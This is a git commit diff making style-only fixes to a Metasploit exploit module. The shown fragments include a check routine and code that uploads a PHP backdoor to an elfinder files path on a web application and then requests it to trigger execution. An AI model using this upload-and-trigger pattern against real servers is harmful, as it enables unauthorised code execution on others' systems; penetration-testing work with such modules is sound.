Fixing some coding style because of rubocop

This commit is contained in:
Mehmet Ince 2016-07-11 23:10:18 +03:00
parent e79c3ba7c0
commit fc56ab6722
No known key found for this signature in database
GPG Key ID: 11EF24A306357530
1 changed files with 7 additions and 7 deletions

View File

@ -41,7 +41,7 @@ class MetasploitModule < Msf::Exploit::Remote
'Arch' => ARCH_PHP,
'Payload' =>
{
'DisableNops' => true,
'DisableNops' => true
},
'Targets' => [ ['Automatic', {}] ],
'DefaultTarget' => 0,
@ -60,7 +60,7 @@ class MetasploitModule < Msf::Exploit::Remote
'method' => 'GET',
'uri' => normalize_uri(url)
)
if res and res.code == 200
if res && res.code == 200
return Exploit::CheckCode::Appears
end
return Exploit::CheckCode::Safe
@ -79,15 +79,15 @@ class MetasploitModule < Msf::Exploit::Remote
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => data.to_s
})
if res and res.code == 200
if res && res.code == 200
print_good("Backdoor successfully created.")
else
fail_with(Failure::Unknown, "#{peer} - Error on uploading file")
end
print_status("Trigging the exploit...")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "vendor_extra/elfinder/files/"+filename)
},5)
send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "vendor_extra/elfinder/files/" + filename)
}, 5)
end
end